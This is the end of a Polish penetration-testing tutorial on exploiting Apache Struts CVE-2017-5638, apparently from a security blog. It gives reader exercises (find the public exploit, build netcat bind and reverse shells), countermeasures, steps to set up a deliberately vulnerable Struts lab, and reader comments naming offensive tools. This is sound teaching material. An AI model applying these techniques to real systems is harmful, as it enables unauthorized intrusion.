Ćwiczenia dodatkowe

  • Sprawdzić​ ​CVE-2017-5638​ ​w​ ​różnych​ ​bazach​ ​z​ ​podatnościami​ ​oraz​ ​zapoznać​ ​się​ ​z​ ​tą
    podatnością.
  • Wyszukać​ ​exploit​ ​do​ ​podatności​ ​CVE-2017-5638​ ​w​ ​baz​ ​zawierających​ ​źródła​ ​publicznie znanych​ ​exploitów.
  • Zapoznać​ ​się​ ​z​ ​kodem​ ​exploita​ ​do​ ​podatności​ ​CVE-2017-5638.
  • Wykorzystać​ ​narzędzie​ ​​netcat​​ ​do​ ​stworzenia​ ​​bind​ ​shell​​ ​i​ ​​reverse​ ​shell​.
  • Dlaczego​ ​w​ ​przypadku​ ​maszyny​ ​z​ ​systemem​ ​operacyjnym​ ​ubuntu​ ​14.04​ ​server​ ​nie​ ​można było​ ​uruchomić​ ​narzędzia​ ​​netcat​​ ​z​ ​opcją​ ​​e​?

Uzyskane informacje

W​ ​tym​ ​etapie​ ​zapoznaliśmy​ ​się​ ​z​ ​podatnością​ ​CVE-2017-5638​ ​oraz​ ​sposobami​ ​szukania​ ​informacji​ ​o podatnościach.​ ​Dzięki​ ​wykorzystaniu​ ​exploita​ ​do​ ​podatności​ ​CVE-2017-5638​ ​uzyskaliśmy​ ​dostęp​ ​do systemu.

Przeciwdziałania

W​ ​celu​ ​zminimalizowania​ ​zagrożeń​ ​powinniśmy​ ​na​ ​bieżąco​ ​aktualizować​ ​system​ ​informatyczny poprawkami​ ​bezpieczeństwa.​ ​Analizowanie​ ​systemów​ ​informatycznych​ ​pod​ ​kątem​ ​podatności​ ​i​ ​ich naprawa,​ ​również​ ​zminimalizują​ ​ryzyko.​ ​Przeprowadzanie​ ​testów​ ​penetracyjnych​ ​pozwoli​ ​dodatkowo wykryć​ ​możliwe​ ​luki​ ​bezpieczeństwa.

Do it yourself

Przedstawiony​ ​przykład​ ​w​ ​artykule​ ​można​ ​przejść​ ​samodzielnie,​ ​powtarzając​ ​opisane​ ​przeze​ ​mnie kroki.​ ​Wspomnę,​ ​że​ ​powinno​ ​się​ ​to​ ​jedynie​ ​wykonywać​ ​w​ ​swoim​ ​testowym​ ​środowisku​ ​i​ ​to,​ ​że powinniśmy​ ​odpowiedzialnie​ ​korzystać​ ​z​ ​przedstawionych​ ​tu​ ​technik.

Poniżej​ ​opisałem​ ​kroki​ ​potrzebne​ ​do​ ​stworzenia​ ​środowiska​ ​testowego.

1. Pobrać​ ​obraz​ ​ubuntu​ ​server​ ​14.04​ ​(x86​ ​albo​ ​x64​ ​w​ ​zależności​ ​jaką​ ​platformę​ ​wspiera​ ​Wasz procesor)
​2. Zainstalować​ ​ubuntu​ ​server​ ​jako​ ​maszynę​ ​wirtualną​ ​oraz​ ​podczas​ ​instalacji​ ​wybrać​ ​usługi: OpenSSH​ ​server, LAMP​ ​server, Samba​ ​file​ ​server, Tomcat​ ​Java​ ​server
3. Zalogować​ ​się​ ​na​ ​stworzonego​ ​użytkownika​ ​i​ ​zainstalować​ ​program​ ​unzip​ ​(potrzebny​ ​do rozpakowania​ ​archiwum).​ ​Polecenie:

~$​​ ​sudo​ ​apt-get​ ​install​ ​unzip

4. Pobrać​ ​pakiet​ ​struts-2.5.2-all.zip​ ​ze​ ​strony​ ​Apache​ ​Foundation​ ​i​ ​umieścić​ ​to​ ​archiwum katalogu​ ​domowym​ ​naszego​ ​użytkownika.
5. Rozpakować​ ​archiwum​ ​i​ ​przenieść​ ​do​ ​katalogu​ ​struts2.​ ​Polecenie:

~$​​ ​unzip​ ​struts-2*-all.zip
~$​​ ​mv​ ​struts-2.5.2​ ​struts2

6. Usunąć​ ​przykładową​ ​aplikację​ ​pakietu​ ​tomcat​ ​i​ ​skopiować​ ​przykład​ ​oparty​ ​na​ ​framework struts2.​ ​Zrestartować​ ​serwis​ ​tomcat.​ ​Polecenia:

~$​​ ​cd​ ​struts2/apps
~$​ ​​sudo​ ​rm​ ​-fr​ ​/var/lib/tomcat7/webapps/ROOT
~$​ ​​sudo​ ​cp​ ​struts2-showcase.war​ ​/var/lib/tomcat7/webapps/ROOT.war
~$​ ​​sudo​ ​service​ ​tomcat7​ ​restart

7. Przetestować​ ​czy​ ​działa​ ​odwiedzając​ ​stronę​ ​http://​[adres_ip]​:8080/index.action,​ ​gdzie [adres_ip]​​ ​jest​ ​adresem​ ​IP,​ ​który​ ​otrzymała​ ​nasza​ ​testowa​ ​maszyna.

Łukasz Wierzbicki

Dodatkowe źródła

Spodobał Ci się wpis? Podziel się nim ze znajomymi:



Komentarze

  1. Wojtek

    Fajny art, o gobuster nie wiedziałem.

    Jeszcze z moich ulubionych:

    masscan – jak trzeba przeskanować dużo hostów/portów szybko.
    Potem można dłubać odkryte nmapem / puścić skan z czego innego do porównania wyników.

    https://github.com/robertdavidgraham/masscan

    routersploit – bo mniejsze pudełeczka w sieci często gęsto są nie updatowane.

    https://github.com/reverse-shell/routersploit

    Powershell Empire – do rycia w tych biednych windach jak już dostaniemy shella w inny sposób…

    https://www.powershellempire.com/
    https://github.com/EmpireProject/Empire

    Odpowiedz
  2. dared

    Super ;) tylko gdyby nie te literówki i pozjadane literki :D
    już na samym początku brakuje „w” i dalej w tekście jeszcze trochę brakuje ;) w dodatku xxx.xxx.0.19 => xxx.xxx.0.16 ;)

    imho GJ !

    Odpowiedz
    • Podrzuć mini korektę na maila jak możesz to szybko wrzucimy update.

      Odpowiedz
  3. Tomek

    Bardzo cieszą mnie tego typu artykuły z (a co ważne!) ćwiczeniami dla czytelników!
    Dzięki temu nie kończy sie tylko i wyłącznie na czytaniu do poduszki…ale zmusza też do ruszenia szarych komórek.
    Oby tego typu praktyka była stosowana co tutorial…mega!

    Odpowiedz
  4. Lukasz

    świetny artykuł.

    Odpowiedz
  5. Johnny

    Super artykuł! Więcej takich :)

    Odpowiedz
  6. Adam

    Rewelacja!

    Odpowiedz
  7. lucyoa

    Artykuł petarda :D

    Odpowiedz
  8. Daro

    Świetny artykuł!

    Odpowiedz
  9. Leopold

    mega, nareszcie jakiś praktyczny opis pentestu z wyjaśnieniem, oby więcej takich tekstów na Sekuraku!

    Odpowiedz
    • Kolejna część tekstu w trakcie pisania :)

      Odpowiedz
  10. zohan

    a co jest powodem że na nmap -sS -sV -O sieć/24 dostaję odpowiedź że każdy IP jest aktywny i ma otwarte różne porty (są wymienione), a w rzeczywistości aktywne jest tylko kilka adresów.

    Odpowiedz
    • polios

      U mnie to była kwestia sieci VirtualBoxa. Domyślnie host=NAT i wirtualki się nie widzą..
      Rozwiązanie:
      1. VirtualBox -> Ustawienia -> Sieć – Sieci Izolowane -> -> (Karta) IPv4 192.168.56.1/255.255.255.0 + (Serwer DHCP) wyłączony;
      2. Do wirtualek w VirtualBoxie dodałem po dodatkowej sieciówce host-only (pierwsza była ustawiona na NAT);
      3. W obu wirtualkach dodałem do /etc/network/interfaces:
      auto eth1
      iface eth1 inet static
      address 192.168.56.101 #(102 dla Kali)
      netmask 255.255.255.0
      network 192.168.56.0
      broadcast 192.168.56.255
      4. restart obu wirtualek

      po tych zmianach nmap widzi już tylko prawdziwe hosty;

      Odpowiedz
  11. Adam

    Chciałbym zobaczyć to samo, podczas próby podpięcia się pod windę z jakimkolwiek darmowym firewallem np. tragicznym comodo, który domyślnie blokuje zapytania icmp, zabawa skończyłaby się po pierwszym tak obszernym odpytywaniem portów.

    Odpowiedz
  12. Piotr

    mogę prosić o informacje jakiego systemu najlepiej używać do tego typu zadań? Jakiej dystrybucji linuxa :)

    Odpowiedz
  13. alienick

    Dobrze opisane, ciekawie, ale i przystępnie dla laików, tekst ładnie poskładany na tyle, że wiemy po co wykonujemy konkretne czynności. Warto może pokusić się o jakąś serię od takich podstaw właśnie.

    Odpowiedz
  14. Marek

    Wpisuje w konsolę : us​ ​-mT​ ​-r​ ​3000​ ​-R​ ​3​ ​-Iv​ ​-p​ ​1-65535​ ​192.168.4.1

    i wyskakuje :

    bash: us​: nie znaleziono polecenia

    Tak samo jest z innymi poleceniami.

    Przeinstalowałem kali lunux i jest to samo. Co to może być :) ?

    Odpowiedz
  15. dzieki, swietny artykuł

    Odpowiedz
  16. Roman

    Genialny artykuł, mam jednak kilka pytań :)

    1. dlaczego Unicorn Scanner a nie nmap od razu ?
    2. czy którekolwiek z działań zostaną odnotowane w logach ofiary ? Jeśli tak to w którym miejscu ?

    Pozdrawiam i życzę powodzenia. Jeszcze raz dzięki za ten fantastyczny artykuł.

    Odpowiedz
  17. Hary poter dumledor

    Chcialbym poprosic o rozwiniecie ataku po dojsciu do momentu wykrycia okienka autoryzacji (logowania) i skad wiadomo ze login to test i haslo ma 5 znakow no i jakim programem jeat lamane haslo ? Hydra?

    Odpowiedz
  18. Hellboy

    Tutaj też coś ciekawego odnośnie Nmap’a: https://github.com/trimstray/sandmap – korzystam, jeżeli trochę się poklepie to fajnie można sobie zautomatyzować wiele rzeczy + wsparcie dla większości NSE.

    Odpowiedz

Odpowiedz